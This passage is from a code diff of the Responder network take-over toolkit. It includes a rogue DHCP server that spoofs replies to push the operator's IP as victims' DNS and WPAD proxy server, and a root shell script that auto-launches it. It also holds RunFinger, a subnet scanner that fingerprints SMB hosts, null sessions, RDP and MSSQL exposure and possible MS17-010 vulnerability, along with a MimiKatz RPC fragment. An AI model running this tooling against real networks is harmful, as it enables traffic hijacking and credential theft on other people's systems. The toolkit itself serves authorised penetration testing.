("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server.
("Op255", "\xff"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data):
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
# DHCP Inform
if OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
while True:
try:
data = s.recvfrom(65535)
if data[0][23:24] == b"\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:])
if ret:
print(text("[DHCP] %s" % ret))
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

63
tools/DHCP_Auto.sh Executable file
View file

@ -0,0 +1,63 @@
#!/bin/bash
# This file is part of Responder. laurent.gaffie@gmail.com
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# This script will try to auto-detect network parameters
# to run the rogue DHCP server, to inject only your IP
# address as the primary DNS server and WPAD server and
# leave everything else normal.
if [ -z $1 ]; then
echo "usage: $0 <interface>"
exit
fi
if [ $EUID -ne 0 ]; then
echo "Must be run as root."
exit
fi
if [ ! -d "/sys/class/net/$1" ]; then
echo "Interface does not exist."
exit
fi
INTF=$1
PATH="$PATH:/sbin"
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
DNS1=$IPADDR
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
WPADSTR="http://$IPADDR/wpad.dat"
if [ -z "$DOMAIN" ]; then
DOMAIN=" "
fi
echo "Running with parameters:"
echo "INTERFACE: $INTF"
echo "IP ADDR: $IPADDR"
echo "NETMAST: $NETMASK"
echo "ROUTER IP: $ROUTER"
echo "DNS1 IP: $DNS1"
echo "DNS2 IP: $DNS2"
echo "WPAD: $WPADSTR"
echo ""
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"

View file

@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s):
Output = ExtractRPCCommandOutput(data)[12:] Output = ExtractRPCCommandOutput(data)[12:]
while True: while True:
dataoffset = dataoffset + buffsize dataoffset = dataoffset + buffsize
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag
LastFragLen = struct.unpack('<h', data[61:63])[0] LastFragLen = struct.unpack('<h', data[61:63])[0]
if LastFragLen < 1024: if LastFragLen < 1024:
Output += ExtractRPCCommandOutput(data) Output += ExtractRPCCommandOutput(data)
@ -646,7 +646,7 @@ def MimiKatzRPC(Command, f, host, data, s):
Output += ExtractRPCCommandOutput(data) Output += ExtractRPCCommandOutput(data)
break break
if data[64:66] == b"\x05\x00" and data[67:68] == b"\x03":##First and Last DCE/RPCFrag if data[64:66] == b"\x05\x00" and data[67] == b"\x03":##First and Last DCE/RPCFrag
data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s) data, s, out = SMBDCERPCReadOutput(StructWithLenPython2or3("<i", dataoffset), StructWithLenPython2or3('<h', 4096),f, data, s)
Output += ExtractRPCCommandOutput(data) Output += ExtractRPCCommandOutput(data)
break break

View file

@ -3,10 +3,7 @@ try:
from UserDict import DictMixin from UserDict import DictMixin
except ImportError: except ImportError:
from collections import UserDict from collections import UserDict
try: from collections import MutableMapping as DictMixin
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):

View file

@ -1,4 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
@ -17,36 +17,29 @@
import re,sys,struct import re,sys,struct
import datetime import datetime
import multiprocessing import multiprocessing
import os
import errno
import optparse
import sqlite3
from RunFingerPackets import *
from odict import OrderedDict
from socket import * from socket import *
from odict import OrderedDict from odict import OrderedDict
import errno
__version__ = "1.8" import optparse
from RunFingerPackets import *
__version__ = "1.3"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) #Way better to have grepable output by default...
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) #parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
options, args = parser.parse_args() options, args = parser.parse_args()
if options.TARGET == None and options.Filename == None: if options.TARGET is None:
print("\n-i Mandatory option is missing, please provide a target or target range.\n") print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help() parser.print_help()
exit(-1) exit(-1)
Timeout = options.Timeout Timeout = 2
Host = options.TARGET Host = options.TARGET
Filename = options.Filename SMB1 = "Enabled"
SMB1 = "True"
SMB2signing = "False" SMB2signing = "False"
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
@ -67,13 +60,6 @@ if (sys.version_info > (3, 0)):
else: else:
PY2OR3 = "PY2" PY2OR3 = "PY2"
if not os.path.exists(DB):
cursor = sqlite3.connect(DB)
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
cursor.commit()
cursor.close()
def StructWithLenPython2or3(endian,data): def StructWithLenPython2or3(endian,data):
#Python2... #Python2...
if PY2OR3 == "PY2": if PY2OR3 == "PY2":
@ -106,7 +92,7 @@ def ParseNegotiateSMB2Ans(data):
def SMB2SigningMandatory(data): def SMB2SigningMandatory(data):
global SMB2signing global SMB2signing
if data[70:71] == "\x03": if data[70] == "\x03":
SMB2signing = "True" SMB2signing = "True"
else: else:
SMB2signing = "False" SMB2signing = "False"
@ -123,29 +109,13 @@ def WorkstationFingerPrint(data):
b"\x06\x01" :"Windows 7/Server 2008R2", b"\x06\x01" :"Windows 7/Server 2008R2",
b"\x06\x02" :"Windows 8/Server 2012", b"\x06\x02" :"Windows 8/Server 2012",
b"\x06\x03" :"Windows 8.1/Server 2012R2", b"\x06\x03" :"Windows 8.1/Server 2012R2",
b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)", b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)",
}.get(data, 'Other than Microsoft') }.get(data, 'Other than Microsoft')
def GetOsBuildNumber(data): def GetOsBuildNumber(data):
ProductBuild = struct.unpack("<h",data)[0] ProductBuild = struct.unpack("<h",data)[0]
return ProductBuild return ProductBuild
def SaveRunFingerToDb(result):
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(DB)
cursor.text_factory = sqlite3.Binary
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
cursor.commit()
cursor.close()
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
data = data.encode('latin-1') data = data.encode('latin-1')
SSPIStart = data.find(b'NTLMSSP') SSPIStart = data.find(b'NTLMSSP')
@ -160,22 +130,7 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50]) WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52]) WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
DomainGrab((host, 445)) DomainGrab((host, 445))
RDP = IsServiceOn((host,3389)) print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
SQL = IsServiceOn((host,1433))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB2]',
'Host': host,
'WindowsVersion': WindowsVers,
'OsVer': str(WindowsBuildVers),
'DomainJoined': Domain,
'Bootime': Bootime,
'Signing': signing,
'NullSess': 'N/A',
'IsRDPOn':RDP,
'SMB1': SMB1,
'MSSQL': SQL
})
def GetBootTime(data): def GetBootTime(data):
data = data.encode('latin-1') data = data.encode('latin-1')
@ -196,15 +151,15 @@ def IsDCVuln(t, host):
Date = datetime.datetime(2017, 3, 14, 0, 30) Date = datetime.datetime(2017, 3, 14, 0, 30)
if t[0] < Date: if t[0] < Date:
return("This system may be vulnerable to MS17-010") return("This system may be vulnerable to MS17-010")
return(t[1]) return("Last restart: "+t[1])
##################### #####################
def IsSigningEnabled(data): def IsSigningEnabled(data):
if data[39:40] == "\x0f": if data[39] == "\x0f":
return 'True' return True
else: else:
return 'False' return False
def atod(a): def atod(a):
return struct.unpack("!L",inet_aton(a))[0] return struct.unpack("!L",inet_aton(a))[0]
@ -237,13 +192,14 @@ def GetHostnameAndDomainName(data):
Hostname = data[113:].decode('latin-1') Hostname = data[113:].decode('latin-1')
return Hostname, DomainJoined return Hostname, DomainJoined
except: except:
pass
return "Could not get Hostname.", "Could not get Domain joined" return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host): def DomainGrab(Host):
global SMB1 global SMB1
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try: try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(Host) s.connect(Host)
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan() n = SMBNegoDataLanMan()
@ -251,23 +207,23 @@ def DomainGrab(Host):
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0)) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
s.close()
if data[8:10] == b'\x72\x00': if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data) return GetHostnameAndDomainName(data)
except IOError as e: except IOError as e:
if e.errno == errno.ECONNRESET: if e.errno == errno.ECONNRESET:
SMB1 = "False" SMB1 = "Disabled"
return False return False
else: else:
return False return False
def SmbFinger(Host): def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try: try:
s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
except: except:
pass pass
try: try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData()) n = SMBNego(Data = SMBNegoData())
@ -292,8 +248,8 @@ def SmbFinger(Host):
def check_smb_null_session(host): def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try: try:
s.settimeout(Timeout)
s.connect(host) s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData()) n = SMBNego(Data = SMBNegoData())
@ -327,9 +283,9 @@ def check_smb_null_session(host):
s.send(NetworkSendBufferPython2or3(buffer0)) s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048) data = s.recv(2048)
if data[8:10] == b'\x75\x00': if data[8:10] == b'\x75\x00':
return 'True' return True
else: else:
return 'False' return False
except Exception: except Exception:
return False return False
@ -337,19 +293,19 @@ def check_smb_null_session(host):
#SMB2 part: #SMB2 part:
def ConnectAndChoseSMB(host): def ConnectAndChoseSMB(host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try: try:
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(0.7)
s.connect(host) s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
except: except:
return False return None
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
if ParseNegotiateSMB2Ans(data): if ParseNegotiateSMB2Ans(data):
try: try:
while True: while True:
@ -358,12 +314,12 @@ def ConnectAndChoseSMB(host):
if not data: if not data:
break break
except Exception: except Exception:
return False pass
else: else:
return False return False
def handle(data, host): def handle(data, host):
if data[28:29] == "\x00": if data[28] == "\x00":
a = SMBv2Head() a = SMBv2Head()
a.calculate() a.calculate()
b = SMBv2Negotiate() b = SMBv2Negotiate()
@ -372,7 +328,7 @@ def handle(data, host):
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
return buffer0 return buffer0
if data[28:29] == "\x01": if data[28] == "\x01":
global Bootime global Bootime
SMB2SigningMandatory(data) SMB2SigningMandatory(data)
Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0]) Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0])
@ -384,87 +340,71 @@ def handle(data, host):
buffer0 = longueur(packet0)+packet0 buffer0 = longueur(packet0)+packet0
return buffer0 return buffer0
if data[28:29] == "\x02": if data[28] == "\x02":
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing) ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
################## ##################
#run it
def ShowResults(Host):
if ConnectAndChoseSMB((Host,445)) == False:
try:
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("Retrieving information for %s..."%(Host)))
print(("SMB signing: %s"%(Signing)))
print(("Null Sessions Allowed: %s"%(NullSess)))
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
except:
return False
def ShowSmallResults(Host): def ShowSmallResults(Host):
if ConnectAndChoseSMB((Host,445)) == False: if ConnectAndChoseSMB((Host,445)) == False:
try: try:
Hostname, DomainJoined = DomainGrab((Host, 445)) Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445)) Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445)) NullSess = check_smb_null_session((Host, 445))
RDP = IsServiceOn((Host,3389)) print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
SQL = IsServiceOn((Host,1433))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB1]',
'Host': Host,
'WindowsVersion':OsVer,
'OsVer': OsVer,
'DomainJoined':DomainJoined,
'Bootime': 'N/A',
'Signing': Signing,
'NullSess': NullSess,
'IsRDPOn':RDP,
'SMB1': 'True',
'MSSQL': SQL
})
except: except:
return False return False
def IsServiceOn(Host): def IsRDPOn(Host):
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try: try:
s.settimeout(Timeout)
s.connect(Host) s.connect(Host)
if s: if s:
return 'True' return True
else: else:
return 'False' return False
except Exception as err: except Exception as err:
return 'False' return False
def RunFinger(Host): def RunFinger(Host):
if Filename != None: m = re.search("/", str(Host))
with open(Filename) as fp: if m:
Line = fp.read().splitlines() net,_,mask = Host.partition('/')
for Ln in Line: mask = int(mask)
m = re.search("/", str(Ln)) net = atod(net)
if m: threads = []
net,_,mask = Ln.partition('/') """
mask = int(mask) if options.grep_output:
net = atod(net) func = ShowSmallResults
threads = [] else:
Pool = multiprocessing.Pool(processes=250) func = ShowResults
func = ShowSmallResults """
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): func = ShowSmallResults
proc = Pool.apply_async(func, ((host),)) for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
threads.append(proc) p = multiprocessing.Process(target=func, args=((host),))
for proc in threads: threads.append(p)
proc.get() p.start()
else: else:
ShowSmallResults(Ln) ShowSmallResults(Host)
if Filename == None:
m = re.search("/", str(Host))
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
Pool = multiprocessing.Pool(processes=250)
func = ShowSmallResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
proc = Pool.apply_async(func, ((host),))
threads.append(proc)
for proc in threads:
proc.get()
else:
ShowSmallResults(Host)
RunFinger(Host) RunFinger(Host)

View file

@ -1,5 +1,4 @@
import random, struct, sys, os import random, struct, sys
from os import urandom
from socket import * from socket import *
from time import sleep from time import sleep
from odict import OrderedDict from odict import OrderedDict
@ -523,7 +522,7 @@ class SMBv2Negotiate(Packet):
("SecurityMode", "\x01\x00"), ("SecurityMode", "\x01\x00"),
("Reserved","\x00\x00"), ("Reserved","\x00\x00"),
("Capabilities","\x00\x00\x00\x00"), ("Capabilities","\x00\x00\x00\x00"),
("ClientGUID", urandom(16).decode('latin-1')), ("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"), ("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
("Dialect1","\x02\x02"), ("Dialect1","\x02\x02"),
("Dialect2","\x10\x02"), ("Dialect2","\x10\x02"),

View file

@ -152,7 +152,7 @@ def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def IsSigningEnabled(data): def IsSigningEnabled(data):
if data[39:40] == b"\x0f": if data[39] == "\x0f":
return True return True
else: else:
return False return False

View file

@ -3,10 +3,7 @@ try:
from UserDict import DictMixin from UserDict import DictMixin
except ImportError: except ImportError:
from collections import UserDict from collections import UserDict
try: from collections import MutableMapping as DictMixin
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):

View file

@ -3,10 +3,7 @@ try:
from UserDict import DictMixin from UserDict import DictMixin
except ImportError: except ImportError:
from collections import UserDict from collections import UserDict
try: from collections import MutableMapping as DictMixin
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):

195
utils.py Normal file → Executable file
View file

@ -24,29 +24,8 @@ import settings
import datetime import datetime
import codecs import codecs
import struct import struct
import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
try:
import aioquic
except:
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
from calendar import timegm from calendar import timegm
def if_nametoindex2(name):
if settings.Config.PY2OR3 == "PY2":
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
ret = libc.if_nametoindex(name)
return ret
else:
return socket.if_nametoindex(settings.Config.Interface)
def RandomChallenge(): def RandomChallenge():
if settings.Config.PY2OR3 == "PY3": if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random": if settings.Config.NumChal == "random":
@ -127,10 +106,7 @@ def RespondToThisIP(ClientIp):
return False return False
def RespondToThisName(Name): def RespondToThisName(Name):
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
return False
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False return False
